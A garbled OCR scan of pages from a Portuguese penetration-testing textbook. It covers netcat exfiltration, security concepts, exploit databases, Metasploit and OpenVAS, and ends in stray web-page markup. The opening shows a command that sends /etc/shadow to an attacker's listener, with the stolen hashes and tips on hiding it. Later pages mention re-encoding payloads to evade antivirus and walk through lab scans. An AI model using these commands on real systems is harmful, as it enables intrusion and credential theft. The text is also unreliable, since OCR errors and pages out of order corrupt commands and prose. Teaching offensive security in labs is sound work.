netcat, execute o comando no host Kali Linux do atacante para receber os dados: rootakali:~# nc -vlp 1500 > shadow-vitima.txt Através da shell, que de alguma forma foi disponibilizada pela vitima, execute o comando: root@host_alvo:~# nc 192.168.0.25 1500 < /etc/shadow Aguarde a transferéncia dos dados (ido é mostrado de forma verbose, finalize a conexao (Ctrl + C) e verifique o arquivo shadow-vitima.txt. root@kali:~# cat shadow-vitima.txt root:$1/avpfRJ1$x428w5SUPSIv./DROESLid.:14747:0:99999:7 daemon:*:14684:0:99999. |4684:0:99999:7::: sys:$1$fUX6BPOt$Miye3UpO2QJgz4s5wFD910:14742:0-99999:7 symc:*14684:0:99999: ‘games:*:14684:0:99999:7::; man:*:14684:0:99999:7 Ip"14684:0:99999.7: Observacées 1) Ha diversas formas de este comando ser executado para ser imperceptivel para a vitima, rodando em background. 2) A melhor vantagem para um atacante utilizando o Reverse Shell é a de que ele tem total controle sobre o servidor, podendo manter 0 acesso indepen- dentemente do local que o cliente estiver acessando. 3) O netcat nao est instalado por padrao no Windows, porém é possivel realizar a instalagao. Criminosos usam diversos métodos, como engenharia social e exploracao de vulnerabilidades, para realizar um upload do netcat para a maquina Windows. Estes comandos podem até estar contidos em alguns programas disponibiliza- dos na web, principalmente em programas “craqueados” que necessitam desativar © firewall/antivirus. ‘TeenicasDelnvasao P3indd 199 osnonore 14:15 |Conceitos A seguranca da informacao se refere a prote¢4o existente sobre as informa¢ées de uma determinada empresa ou pessoa; isto é, aplica-se tanto as informacées corpo- rativas como as pessoais. Entende-se por informagao todo e qualquer contetido ou dado que tenha valor para alguma organizaco ou pessoa. Ela pode estar guardada para uso restrito ou exposta ao piiblico para consulta ou aquisicao. Podem ser estabelecidas métricas (com 0 uso ou nao de ferramentas) para a de- finicdo do nivel de seguranca existente e, com isso, ser estabelecidas as bases para andlise da melhoria ou piora da situagao de seguranca existente. A seguranga de uma determinada informacao pode ser afetada por fatores comportamentais e de uso de quem a utiliza, pelo ambiente ou infraestrutura que a cerca, ou por pessoas mal- -intencionadas que tém o objetivo de furtar, destruir ou modificar tal informacio. A triade CIA (confidentiality, integrity and availability) ~ confidencialidade, integridade e disponibilidade - representa os principais atributos que, atualmente, orientam a anilise, o planejamento e a implementacao da seguranga para um determinado grupo de informagées que se deseja proteger. Outros atributos importantes sao a irretratabilidade e a autenticidade. Com 0 evoluir do comércio eletrdnico e da sociedade da informagao, a privacidade também se tornou uma grande preocupagao. Os atributos basicos (segundo os padrées internacionais) sao 0s seguintes: Confidencialidade - propriedade que limita 0 acesso a informacao tio somente as entidades legitimas, ou seja, aquelas autorizadas pelo proprietario da informagao. Integridade - propriedade que garante que a informa¢ao manipulada mante- nha todas as caracteristicas originais estabelecidas pelo proprietario da informa- 20, incluindo controle de mudangas e garantia do seu ciclo de vida (nascimento, manutencio e destrui¢ao). Disponibilidade - propriedade que garante que a informacao esteja sempre disponivel para o uso legitimo, ou seja, por aqueles usuarios autorizados pelo pro- prietdrio da informagao. O nivel de seguranca desejado pode se consubstanciar em uma politica de seguranca que é seguida pela organizac4o ou pessoa, para garantir que, uma vez esta- belecidos os princfpios, aquele nivel desejado seja perseguido e mantido, Para a montagem dessa politica, deve-se levar em conta: + riscos associados & falta de seguranca; + beneficios; + custos de implementagao dos mecanismos. Mecanismos de segurancga O suporte para as recomendacoes de seguranca pode ser encontrado em: Controles fisicos ~ sao barreiras que limitam 0 contato ou acesso direto 4 informagao ou a infraestrutura (que garante a existéncia da informagao) que a Bh sxuno reac | Teeneasouimasso.Painds. 14 snare 1415“TeenicasDelnvasao Pind 140 osvorao19 14:15i (Bh Por meio do uso de ferramentas de varreduta de informasao como nmap, &®. Nessus, HTTP Grabbing -, temos informagGes de versdes de servidores e aplicativos, por exemplo, um servidor web, e de alguma forma descobrimos a sua versio; com o nome do servico e a versio, podemos utilizar um exploit espe cifico para saber como invadir esse servidor web... praticamente uma receita de bolo para uma invasao especifica. Um exploit é um pedaco de software, um pedaco de dados ou uma sequéncia de comandos que tomam vantagem de um defeito, falha ou vulnerabilidade a fim de causar um comportamento acidental ou imprevisto a ocorrer no software ou hardwa re de um computador ou em algum eletrdnico (normalmente computadorizado). Este comportamento frequentemente inelui ganhar o controle de um sistema de computa dor, permitindo elevacio de privilégio ou um ataque de negacio de servico." CAPITULO , METASPLOIT 7 VIM MMMM LLL Conceitos? CVE - Common Vulnerabilities and Exposures O CVE é uma base de dados internacional para documentar as vulnerabili. dades publicas. Ele funciona da seguinte maneira: quando uma vulnerabilidade é 1, Videoaula TDI- Metaspl 2. Videoaule TDI ~ Metaspl introducto. Conceitos (por Gabriel) TecnicasDelnvasao Palndd 141, osvorao19 14:15encontrada, ela é inserida na base de dados do CVE. Neste processo de documen- taco existe uma padronizagao que deve ser seguida da seguinte maneira: 1) Descri¢ao da vulnerabilidade - ¢ necessario descrever a vulnerabilidade informando em que aplicacao/servico/sistema a falha foi encontrada, em que parte do cédigo, entre outros, com todos os detalhes. 2) Método de exploragao - é necessario descrever os métodos passo a passo da exploracao da vulnerabilidade. 3) Corresao da vulnerabilidade - se possivel, é necessario descrever como a vulnerabilidade pode ser corrigida. Com essas informacées 0 CVE vai encontrar um identificador tinico; veja um exemplo: CVE-2016-1909 CVE - ano de publicacao - ntimero da vulnerabilidade Com esse identificador tinico essa falha estard disponivel de forma organizada e publicada pelo CVE. O site oficial CVE pode ser acessado pelo seguinte link: https://cve.mitre.org. Um exploit é uma forma de explorar falha em algo, podendo ser desde peque- nas pegas.a pedacos de cédigos. Os exploits sio indexados em base de dados de diversos fornecedores no mundo. Os mais famosos esto apresentados a seguir. Celie retlais ete Pelco Disponivel em : www.exploit-db.com. Acesso em: 14 ago. 2019, x Yeon 8: eng ed Xp 4S ton wee re temenae weatgos ee a TecnlcasDelmasao Pind 142 snare 1415Além de encontrar exploits, esse site oferece Shellcodes, que sao c6digos auxi- liares para escrever alguns tipos de exploits, e os Papers, que sao contetdos de estudo sobre os exploits. Database FENacre) Efadla3 Disponivel em: www.Oday.today. Acesso em: 14 ago. 2019. Um dos bancos mais antigos na rede no Inj3ctOr Exploit Database, em que podemos encontrar exploits recentes para os quais, para ter acesso, é necessério realizar pagamentos, geralmente por meio de bitcoin. Porém, com o tempo, esses exploits se tornam piblicos. Para encontrar os exploits podemos navegar nesses sites ou utilizar a barra de pesquisa para encontrar exploits especificos. Veja um exemplo de um cabecalho de um exploit? Fortinet FortiGate 4.x < 5.0.7 - SSH Backdoor Access EDB-ID: CVE: Author: Type: om mies cwssaronsnn rare EDB Verified: x Exploit: # / . . Become a Certified Penetration — wae Tester {at Petting wth Ka Ln. couse equa become an ten Scie Cred Prseona O5) Observe que ele segue a organizagao clara para um leitor: identificador da vulnerabilidade na base de dados (EDB-ID), o responsavel pela documentacao (Author), a data de publicacio da vulnerabilidade (Published), o identificador CVE (CVE), 0 tipo do método a ser utilizado para o uso (Type), 0 tipo de plataforma do alvo (Platform), ostatus da verificacdo do exploit (E-DB Verified), o exploit (Exploit). ‘Vulnerable App: 3. Disponivel em: https://wwweexploit-db.com/exploits/43386. Acesso em: 26 ago. 2019. verasnior Tweeonnaie a osnaca v4 |Metasploit Framework* Esta seco vai ajudar vocé a entender o Metasploit Framework, como ele funciona e como realiza exploracées de vulnerabilidades referentes a sistemas de redes. Vamos explorar os processos de técnicas de invasdo com énfase no Metasploit Framework e seu conjunto de scanners, exploits, payloads e ferramentas de pés-exploracao. Sobre o Metasploit Framework O Metasploit é um projeto open source criado por HD Moore com o objetivo de estabelecer um ambiente adequado para o desenvolvimento, os testes de seguran: caea exploracao de vulnerabilidades de softwares. O projeto nasceu em 2003 com o objetivo de fornecer informagées titeis sobre a realizago de testes de invasdo e compartilhar algumas ferramentas. O primeiro release foi langado oficialmente apenas em 2004 e contava com alguns exploits escritos por C. Perl e Assembly. Quando a versao 3.X foi langada em 2007, o framework foi quase que totalmente reescrito em Ruby, o que facilitou bastante a criagao de novos exploits e atraiu novos desenvolvedores para o projeto. Em 2009, a Rapid? comprou 0 Metasploit e um ano depois langou a versao comercial do projeto, 0 Metasploit Pro. XCM einer PROTOCOL TOOLS CUSTOM PLUGINS FRAMEWORK-CORE WEFCONSOLE * BeOS MSFCLI PAYLOADS MSFWEB SECURITY TOOLS WEB SERVICES "AUXILIARY, INTEGRATION 4, Videoaula TDI - BootCamp de Metasploit ~ Componentes do Framework Metasploit. a TecnicasDelmasae Pind 148 snare 1415O REX (Ruby Extension Library) é 0 nuicleo do Metasploit. Ele disponibiliza a API com funcionalidades que ajudam no desenvolvimento de um exploit, além de bibliotecas, sockets e protocolos. O framework-core é constituido de subsistemas que controlam sessées, mé- dulos, eventos e a API base. O framework-base fornece uma API amigavel e simplifica a comunicagao com outros médulos, interfaces e plugins. Na camada Modules é onde residem os exploits e payloads. Basicamente os exploits so programas escritos para explorar alguma falha, e o payload é como um complemento para o exploit. Em suma, 0 payload é 0 cédigo que vai ser injetado no alvo, e, ao ser injetado, alguma acdo predefinida serd executada, como realizar um download, executar um arquivo, apagar alguma informacio ou estabelecer uma conex4o com outro sistema. ‘Acamada Interfaces conta com o modo console, onde temos um shell que trabalha em conjunto com o sistema operacional, e o CLI, que fornece uma interface em que é possivel automatizar testes de invasao; ¢ ainda temos interfaces WEB e GUL. ERM Meee ec Nhe O Metasploit Framework é uma aplicacao que faz parte da suite de ferramentas do Kali Linux. Primeiramente, para utilizé-lo é necessério iniciar 0 banco de dados. Abra o terminal e digite: rootakali:~# service postgresql start, Apés isso, é necessario iniciar a base de dados do Metasploit Framework: root@kali:~# msfdb init Creating database user ‘msf" Enter password for new role: Enter it again: Creating databases ‘msf' and ‘msf_test’ Creating configuration file in /usr/share/metasploit-framework/config/database.yml Creating initial database schema Com o msfilb e 0 PostgreSQL iniciado, digite no terminal: root@kali:~# msfconsole Call trans opt: received. 2-19-98 13:24:18 REC:Loc Trace program: running verasnior Tweeonnaie a As osnaca v4 |wake up, Neo... the matrix has you follow the white rabbit. Imock, knock, Neo. http://metasploit.com Love leveraging credentials? Check out bruteforcing in Metasploit Pro -- learn more on http://rapid7.com/metasploit =[ metasploit v4.14.1-dev J] 1628 exploits -927 auxiliary -282 post] 472 payloads - 39 encoders - 9 nops ] Free Metasploit Pro trial: http://r-7.co/trymsp ] msf> msfconsole: indica a console do Metasploit Framework Algumas utilidades basicas desse Framework fornecem funcionalidades adicionais ao Metasploit; esses utilitérios sao: msfcli — permite que um pentester projete e automatize a execugio do exploit, porém podemos executar e definir todas as op¢des necessdrias, como parametros na linha de comando msfpayload ~ cria cargas que sero enviadas ao sistema de destino e podem fornecer acesso remoto através de uma variedade de shells reversos, comandos pipe, VNC e outros. Os payloads podem ser executados a partir de shells, utilizando cédigos de ferramentas de programacio como Java, Python, interpretadores Ruby, DLLs, executveis do Windows, executaveis IOS e Android, Linux e outros. Bheunoac | Tennant 18 esracoe vesmsfencode - o msfencode altera os payloads para evitar a deteccao. As ferramentas de antivirus possuem assinaturas para payloads do Metasploit e podem detecté-las facilmente. Essa ferramenta altera as cargas titeis para tornar a deteccao baseada em assinaturas mais facil. Esses trés utilitarios apresentados eram ferramentas-chave do Metasploit anteriormente, porém foram realizadas algumas alteracdes. A primeira alteracao foi realizada no msfcli; ele foi removido da estrutura- -padrao, porém ha uma funcionalidade equivalente, obtida quando usamos 0 comando msfonsole, o parametro -x. Com esse parametro podemos relacionar todos os comandos em uma Unica linha, sem a necessidade de entrar no console. Em relacao a altera¢ées nos utilitarios msfpayload e msfencode, foram substi tuidos pelo msfvenom, com as mesmas fungées, porém em uma tinica ferramenta. O msfvenom fornece em uma tinica ferramenta a carga de codificagées. Apesar de nao relatarmos aqui todas as funges sobre o Metasploit Frame- work, vamos apresentar o caminho para que vocé possa seguir sozinho com suas pesquisas. Nmap e OpenVAS? As ferramentas Nmap e o OpenVAS sio bastante utilizadas em conjunto com 0 Metasploitable Framework para auxiliar e agilizar o processo de exploracao, e tra- zem a um atacante informacées cruciais para um ataque. O nmap é uma ferramenta que faz parte da suite de programas do Kali Linux. Para verificar a sua utilizagdo, digite no terminal: rootekali:~# man nmap O OpenVAS ¢ uma estrutura de varios servicos e ferramentas que oferecem uma abrangente e poderosa solucéo de vulnerabilidades e gerenciamento de vulnerabilidades. © framework faz parte da solucao de gerenciamento de vulnerabilidades comerciais da Greenbone Networks, das quais os desenvolvimentos sio contribuidos para a comunidade Open Source desde 2009. ee eee enc) O OpenVAS é um quadro de varios servicos e ferramentas. O niicleo desta arqui- tetura SSL-secured service-oriented é o Scanner OpenVAS. O scanner executa de forma muito eficiente os Testes de Vulnerabilidade de Rede reais (NVTs) que so atendidos através do OpenVAS NVT Feed ou através de um servico de alimenta- ao comercial 5. Videoaula TDI - BootCamp de Metasploit - Nmap e OpenVAS. verasnior Tweens, a osnaca v4 |Ele funciona através da shell (OpenVAS CLI) e através do browser (Greenbone Security Assistance), e utiliza seus proprios servicos, pois se trata de um Framework, em que se estabelece a comunicagao com os alvos realizando scanners. Acesse o site oficial do OpenVAS para mais informagées: http://openvas.org/. O OpenVAS ndo faz parte da suite de ferramentas do Kali Linux; para instalé-lo e configura-lo, acompanhe as instrugées a seguir: Verifique se sua distribuicao Kali Linux é superior a versdo 4.6.0; para isso, digite no terminal: root@kali:~# uname -r 4.6.0-kalil-amd64 Caso a sua versio seja inferior, realize o upgrade do sistema com os comandos: rootekali:~# apt-get update rootekali:~# apt-get dist-upgrade Vamos agora iniciar a instalacao do OpenVAS. Digite no terminal: rootakali:~# apt-get install openvas Reading package lists... Done Building dependency tree Reading state information Done Apés a conclusio da instalagao, é necessdrio executar o setup do OpenVAS para que ele crie uma CA (Certification Authority), que vai fazer com que as confi- guracdes do OpenVAS possam ser aplicadas. Digite no terminal: a RUNO FRAGA | Teenonnatie ron 18 esracoe vesrootakali:~# openvas-setup sent 719 bytes received 35,718,437 bytes 802,677.66 bytes/sec total size is 35,707,385 speedup is 1.00 Just/sbin/openvasmd User created with password ‘63f4d617-0b68-46d9-b535-e5fd310bcdeS’. Ele vai criar uma chave privada, baixar e instalar alguns scripts e médulos automaticamente, para que 0 servico seja configurado corretamente e esteja pronto para utilizagao. Observe que, ao criar a chave privada RSA de 4096 bit, ele inicia todo o processo de seguranga e criptografia e vai informar uma senha; anote-a: 63f4d617-0b68-46d9-b535-e5fd310bcde5 “use a senha que o seu openvas-setup gerou. ‘Vamos agora iniciar 0 servigo OpenVAS. Digite no terminal: rootakali:~# openvas-start Starting OpenVAS Services Agora vamos verificar se as portas necessdrias esto abertas, Digite no terminal: rootakali:-# netstat -antp Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State _PID/Program name tcp 0 00.0.0.0:22 0.0.0.0" LISTEN 1385/sshd tp 0.0.0. LISTEN 11065/openvasma tp 0.0.0. LISTEN 11087/gsad tp 0.0.0.0: LISTEN 11090/gsad tp 172.16.0.10:42448 _ ESTABLISHED 1422/sshd: madvan [ tep5 st LISTEN 1385/sshd Observe que as portas necessarias estdo abertas, e no campo PID/Name Pro- gram podemos verificar o servico do OpenVAS. ‘Vamos agora acessar a interface grdfica via web. Entre com as credenciais de acesso: usuario (admin), senha (informada no openvas-setup), e acesse a pagina: https://127.0.0.1:9392. ners TeenicasDelnvasao P3indd 149 osnonore 14:15 |suporta. Ha mecanismos de seguranga que apoiam os controles fisicos: portas, trancas, paredes, blindagem, guardas etc. Controles légicos — sio barreiras que impedem ou limitam o acesso a informagio que esta em ambiente controlado, geralmente eletronico, e que, de outro modo, ficaria exposta a alteragao nao autorizada por elemento mal-intencionado. Ha mecanismos de seguranga que apoiam os controles légicos. Sao eles: Mecanismos de criptografia ~ permitem a transformagao reversivel da informagio de forma a tornéla ininteligivel a terceiros. Utiliza-se para isso algoritmos deter minados euma chave secreta para, apartir deum conjunto dedadosnao criptografados, produzir uma sequéncia de dados criptografados. A operacao inversa é a decifracao. Assinatura digital - um conjunto de dados criptografados, associados a um documento com a fungdo de garantir sua integridade. Mecanismos de garantia da integridade da informacao - usando funcdes de “Hashing” ou de checagem, um cédigo tinico é gerado para garantir que a informacio ¢ integra. Mecanismos de controle de acesso ~ palavras-chave, sistemas biométricos, firewalls e cartées inteligentes, Mecanismos de certificacao ~ atestam a validade de um documento. Integridade ~ medida em que um servi¢o/informacao é genuino(a), isto é, esta protegido(a) contra a personificagao por intrusos. Honeypot - é 0 nome dado a um software cuja funcao é a de detectar ou de impedir a acao de um cracker, de um spammer, ou de qualquer agente externo es- tranho ao sistema, enganando-o e fazendo-o pensar que est de fato explorando uma vulnerabilidade daquele sistema. Ha hoje em dia um elevado niimero de ferramentas e sistemas que pretendem fornecer seguranca. Alguns exemplos sao os detectores de intrusées, antivirus, firewalls, filtros antispam, fuzzers, analisadores de cédigo etc Ameagas a seguranga ‘As ameacas A seguranga da informacao sao relacionadas diretamente a perda de uma de suas trés caracteristicas principais: Perda de confidencialidade - ocorre quando ha uma quebra de sigilo de uma determinada informagao (por exemplo, a senha de um usudrio ou administrador de sistema), permitindo que sejam expostas informagées restritas as quais seriam acessiveis apenas por um determinado grupo de usudrios. Perda de integridade - acontece quando uma determinada informagio fica exposta a manuseio por uma pessoa nao autorizada, que efetua alteracdes que nao foram aprovadas e nao estao sob o controle do proprietario (corporativo ou priva~ do) da informagao. Tweeonnate a 15 osnaca v4 |O sistema OpenVAS esta configurado e pronto para 0 uso. Metasploit Scanning® ‘Vamos realizar um teste de scanning em algumas maquinas ~ uma Linux e outra Windows ~ para verificar o funcionamento deste servico do metasploit. Veja alguns comandos que podemos utilizar para esse processo: Search - busca dentro do Metasploit Framework payloads, médulos, entre outros. Use - indica ao msfconsole para utilizar payloads, médulos, entre outros. Set hosts ~ configura um IP em um exploit, payload e meterpreter. Run/exploit - executa a a¢ao configurada. Help - apresenta em tela informacées, comando e exemplos de uso de um exploit, payload, meterpreter, médullos, entre outros. Info - apresenta em tela informagées sobre um exploit, payload, meterpreter, médulos, entre outros. Show--options ~ apresenta opcoes que podem ser utilizadas com o msfconsole. Abra o terminal do Kali Linux e digite os comandos no console do Metasploit Framework: 6. Videoaula TDI - Bootcamp de Metasploit -Metasploft Scanning. B BRUNO FRAGA | reenonnan pnt 15 cxsocne ssmsf > search scanner Matching Modules Name auxiliary/admin/appletv/appletv_display_image ‘TV Image Remote Control auxiliary/scanner/winrm/winrm_login Us auxiliary/scanner/winrm/winrm_wgl Query Runner auxiliary/gather/enum_dns and Enumerator post/windows/gather/arp_scanner ARP Scanner Disclosure Date Rank Description normal Apple normal WinRM Login normal WinRM WQL normal DNS Record Scanner normal Windows Gather TecnicasDelmasao Pind 151 Ele vai procurar na base de dados os médulos que contenham a descrigao como portscan. Observe que ha itimeros médulos que podemos utilizar para escanear servicos especificos, como SSH, vmware, smtp etc. ‘Agora inicie as duas maquinas-alvo, uma Linux e outra Windows, para realizar um teste de scanner em portas TCP. Digite no msfconsole: msf > search portscan Matching Modules Name Disclosure Date Rank Description auxiliary/scanner/http/wordpress_pingback access normal Wordpress Pingback Locator auxiliary/scanner/natpmp/natpmp_portscan normal NAT-PMP External Port Scanner auxiliary/scanner/portscan/ack normal TCP ACK Firewall Scanner auxiliary/scanner/portscan/ftpbounce normal FTP Bounce Port Scanner auxiliary/scanner/portscan/syn normal TCP SYN Port Scanner auxiliary/scanner/portscan/tep normal TCP Port Scanner auxiliary/scanner/portscan/xmas normal TCP "KMas" Port Scanner auxiliary/scanner/sap/sap_router_portscanner normal SAPRouter Port Scanner msf > Observe que ele retornou médulos em que podemos escanear pacotes ACK em relacao a firewall, pacotes ftpbounce, syn, xmas, entre outros. crasn.om (8) osa2019 sas |Vamos utilizar um médulo que realize um scanner geral em portas de servico TPC. Digite no msfconsole: sf > use auxiliary/scanner/portscan/tep asf auxiliary(tep) > Observe que ele nos trouxe no console o médulo auxiliar (tcp); podemos agora verificar as opcdes que podemos utilizar com esse médulo. Digite no msfconsole: msf auxiliary(tep) > show options Module options (auxiliary/scanner/portscan/tep): Name Current Setting Required Description CONCURRENCY 10 yes The number of concurrent ports to check per host DELAY 0. yes The delay between connections, per thread, in milliseconds JITTER 0 yes The delay jitter factor (maximum value by which to +/-DELAY) in milliseconds. PORTS 1-10000 yes _ Ports to scan (e.g. 22-25,80,110-900) RHOSTS yes The target address range or CIDR identifier THREADS 1 yes The number of concurrent threads TIMEOUT 1000 yes The socket connect timeout in milliseconds sf auxiliary(tep) > Observe que ele apresentou na tela as opcdes basicas que podem ser configuradas dentro desse médulo; podemos utilizar também o comando info, que vai mostrar na tela informacées detalhadas sobre o médulo. Digite no msfconsole: msf auxiliary(tep) > info Name: TCP Port Scanner Module: auxiliary/scanner/portscan/tep License: Metasploit Framework License (BSD) Rank: Normal Provided by: hdm cx@hdm.io> kris katterjohn <katterjohnegmail.com> Basic options: Name CurrentSetting Required Description ‘CONCURRENCY 10 yes The number of concurrent ports to check per host DELAY 0 yes ‘The delay between connections, per thread, in milliseconds JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds. PORTS 110000 yes _ Ports to scan (eg. 22-25,80,110-900) RHOSTS yes The target address range or CIDR identifier | Tennant 2 esracoe vesTHREADS 1 yes The number of concurrent threads TIMEOUT 1000 yes The socket connect timeout in milliseconds Description: Enumerate open TCP services by performing a full TCP connect on each port. This does not need administrative privileges on the source machine, which may be useful if pivoting. maf auxiliary(tep) > Observe que ele apresentou com detalhes as informagdes desse médulo: nome, licenca, rank, provedor e descrigéo. ‘Vamos configurar a op¢ao RHOSTS para indicar uma maquina para realizar 0 scan, Neste caso, a maquina Linux (Metasploitable2) sera alvo do nosso teste. Digite no msfconsole: msf auxiliary(tep) > set rhosts 172.16.0.12 thosts => 172.16.0.12 Agora vamos configurar as portas a serem escaneadas; se nao indicarmos essa op¢ao, ele vai realizar o scanner nas portas 1-10000, como apresentado através do comando info. Digite no msfconsole: msf auxiliary(tep) > set ports 1-100 ports => 1-1000 Vamos agora verificar todas as opcdes que serao aplicadas a esse médulo, como configuramos, e as op¢des que jé estéo configuradas por padrao. Digite no msfconsole: msf auxiliary (tep) > show options Module options (auxiliary/scanner/portscan/tcp): Name Current Setting Required Description CONCURRENCY 10 yes The number of concurrent ports to check per host. DELAY 0 yes The delay between connections, per thread, in milliseconds JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds. PORTS 1-1000 yes Ports to scan (e.g. 22-25,80,110-900) RHOSTS 172.16.0.12 yes _ The target address range or CIDR identifier THREADS 1 yes The number of concurrent threads TIMEOUT 1000 yes The socket connect timeout in milliseconds asf auxiliary(tep) > samuel ‘TeenicasDelnvasao P3indd 153 osnonore 14:15 || Teenonnatie ron 14 Observe que ele apresentou na tela as opgdes com as nossas configuracées indicadas. Agora vamos iniciar o scanner através do comando de execucio. Digite no msfconsole: asf auxiliary(tep) > run (1]172.16.0.12: -172.16.0.12:21- TCP OPEN (1]172.16.0.12: -172.16.0.12:25 - TCP OPEN (1]172.16.0.12: -172.16.0.12:23 -TCP OPEN (1) 172.16.0.12: -172.16.0.12:22- TCP OPEN [1] 172.16.0.12; - 172.16.0.12:53 - TCP OPEN (1]172.16.0.12: - 172.160.1280 - TCP OPEN (1]172.16.0.12: -172.16.0.12:111 - TCP OPEN (1]172.16.0.12: -172.16.0.12:139- TCP OPEN (1]172.16.0.12: -172.16.0.12:445 - TCP OPEN (1) 172.16.0.12: - 172.16.0.12:512- TCP OPEN (1]172.16.0.12: -172.16.0.12:514- TCP OPEN (1]172.16.0.12: -172.16.0.12:513 - TCP OPEN {"] Scanned 1 of 1 hosts (100% complete) (*] Auiliary module execution completed sf auxiliary(tep) > Observe que ele apresentou todas as portas abertas entre o range 1-1000 que indicamos do IP 172.16.0.12 ‘Agora vamos realizar o teste de scan em um servico especifico, o SMB (Server Message Block), servico de compartilhamento de arquivos em rede. Vamos utilizar a nossa maquina Windows para ser o alvo, que esta configurada para comparti- Ihar arquivos na rede. Podemos realizar uma busca genérica digitando no msfconsole msf auxiliary(tep) > search smb Porém, como vimos anteriormente, esse comando realiza uma busca em todo o banco de dados, trazendo intimeros médulos com SMB em sua descri¢do. Vamos realizar uma busca indicando o local apropriado para realizar a busca neste momento; digite no msfconsole: nsf auxiliary(tep) > search auxiliary/scanner/smb Matching Modules Name Disclosure Date Rank Description auxiliary/scanner/smb/pipe_auditor normal SMB Session Pipe Auditor auxiliary/scanner/smb/pipe_deerpe_auditor normal SMB Session Pipe DCERPC Auditor ee snare 1415auxiliary/scanner/smb/psexec_loggedin_users normal Microsoft Windows Authenticated Logged In Users Enumeration auxiliary/scanner/smb/smb2 normal SMB 2.0 Protocol Detection auxiliary/scanner/smb/smb_enum_gpp normal SMB Group Policy Preference Saved Passwords Enumeration auxiliary/scanner/smb/smb_enumshares normal SMB Share Enumeration auxiliary/scanner/smb/smb_enumusers normal SMB User Enumeration (SAM EnumUsers) auxiliary/scanner/smb/smb_enumusers_domain normal SMB Domain User Enumeration auxiliary/scanner/smb/smb login normal SMB Login Check Scanner auxiliary/scanner/smb/smb_lookupsid normal SMB SID User Enumeration (LookupSid) auxiliary/scanner/smb/smb_uninit_cred normal Samba_netr_ ServerPasswordSet Uninitialized Credential State auxiliary/scanner/smb/smb_version normal SMB Version Detection sf auxiliary(tep) > Observe que ele apresentou somente os médulos dentro do diretério que indicamos. Vamos utilizar 0 médulo para descobrir a versio do SMB que est4 sendo utilizada na maquina Windows, o médulo auxiliary/scanner/smb/smb_version. Digite no msfconsole: msf auxiliary(tep) > use auxiliary/scanner/smb/smb_version ‘Vamos verificar as informagées relativas a esse médulo; digite novamente no msfconsole: sf auxiliary(smb_version) > info Name: SMB Version Detection Module: auxiliary/scanner/smb/smb_version License: Metasploit Framework License (BSD) Rank: Normal Provided by: hdm <xahdm io> Basic options: Name Current Setting Required Description RHOSTS yes The target address range or CIDR identifier SMBDomain . no _ The Windows domain to use for authentication ‘SMBPass no The password for the specified username ‘SMBUser no The username to authenticate as THREADS 1 yes Thenumber of concurrent threads ‘TeenicasDelnvasao P3indd 155 osnonore 14:15 |</div><div class="after_doc_wrapper is_bot"><section class="_1ifY6L"><div class="_1t0vuo" data-e2e="recommender-list"><h2 class="-JXdjF" data-e2e="list-title">You might also like</h2><ul class="_2sDW41" data-e2e="list-content-wrapper"><li class="wrapper__mono_document_list_item" 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2.76l-1.324.006c-.302 0-.634-.02-.951.083-.328.106-.616.3-.842.561-.418.483-.595 1.15-.558 1.79.038.661.249 1.354.717 1.834.425.435 1.101.643 1.693.643.928 0 1.612-.331 2.102-.797L5.317 6.82h2.288l1.05 1.39Z" fill="currentColor"></path></svg><span style="position:absolute;border:0;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0, 0, 0, 0);white-space:nowrap;word-wrap:normal"></span></span> From Everand</div><div class="title" data-e2e="doc-info-title">Elon Musk: Tesla, SpaceX, and the Quest for a Fantastic Future</div><div class="_38nure" data-e2e="doc-info-author"><a class="Hv6j2r" href="https://www.everand.com/author/655656594/Ashlee-Vance" target="_blank">Ashlee Vance</a></div><div class="_16H48L"><div class="wrapper__static_stars _3FghFh"><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star 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0);white-space:nowrap;word-wrap:normal"></span></span> From Everand</div><div class="title" data-e2e="doc-info-title">The Outsider: A Novel</div><div class="_38nure" data-e2e="doc-info-author"><a class="Hv6j2r" href="https://www.everand.com/author/572764971/Stephen-King" target="_blank">Stephen King</a></div><div class="_16H48L"><div class="wrapper__static_stars _3FghFh"><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_fill light_lit"></span><span class="rating_star icon-ic_star_small_outline"></span><span class="visually_hidden">Rating: 4 out of 5 stars</span></div><div class="_1c33kx">4/5 (1867)</div></div></div></div></div></div></li><li class="wrapper__mono_document_list_item" data-e2e="document-list-item"><div class="view_wrapper"><div data-e2e="list-item-info" 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1 8.588c0-3.164 3.145-3.38 3.145-3.38l-.697-.803c-.944-1.104-.91-2.488-.287-3.343C3.725.288 4.485 0 5.634 0 7.991 0 8.44 2.17 8.44 2.17h-1.91s-.062-1.11-1.106-1.11c-.99 0-1.275.694-1.193 1.294.034.252.143.487.275.648 0 0 1.985 2.401 2.295 2.76l-1.324.006c-.302 0-.634-.02-.951.083-.328.106-.616.3-.842.561-.418.483-.595 1.15-.558 1.79.038.661.249 1.354.717 1.834.425.435 1.101.643 1.693.643.928 0 1.612-.331 2.102-.797L5.317 6.82h2.288l1.05 1.39Z" fill="currentColor"></path></svg><span style="position:absolute;border:0;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0, 0, 0, 0);white-space:nowrap;word-wrap:normal"></span></span> From Everand</div><div class="title" data-e2e="doc-info-title">Her Body and Other Parties: Stories</div><div class="_38nure" data-e2e="doc-info-author"><a class="Hv6j2r" href="https://www.everand.com/author/626038376/Carmen-Maria-Machado" target="_blank">Carmen Maria Machado</a></div><div class="_16H48L"><div class="wrapper__static_stars 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0-.634-.02-.951.083-.328.106-.616.3-.842.561-.418.483-.595 1.15-.558 1.79.038.661.249 1.354.717 1.834.425.435 1.101.643 1.693.643.928 0 1.612-.331 2.102-.797L5.317 6.82h2.288l1.05 1.39Z" fill="currentColor"></path></svg><span style="position:absolute;border:0;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0, 0, 0, 0);white-space:nowrap;word-wrap:normal"></span></span> From Everand</div><div class="title" data-e2e="doc-info-title">The Sympathizer: A Novel (Pulitzer Prize for Fiction)</div><div class="_38nure" 